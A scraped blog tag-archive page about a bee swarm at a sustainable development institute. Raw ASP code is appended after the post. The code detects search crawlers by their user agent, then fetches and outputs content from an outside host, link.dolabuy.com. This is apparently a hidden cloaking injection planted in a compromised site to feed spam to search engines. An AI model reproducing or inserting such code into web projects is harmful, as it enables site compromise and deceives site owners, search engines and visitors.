Tag Archive: swarming

Jul 16

Bee Swarming Occurrence at SDI

This week, the Sustainable Development Institute (SDI) staff and student interns experienced the natural phenomenon of bee swarming. “It was awesome watching nature in action”, Manih Boyd, student and Administrative Assistant stated after watching the bee swarm fly towards the wooded area behind the campus. Swarming occurs when a new bee colony if formed. The …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2014/07/bee-swarming-occurrence-at-sdi/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>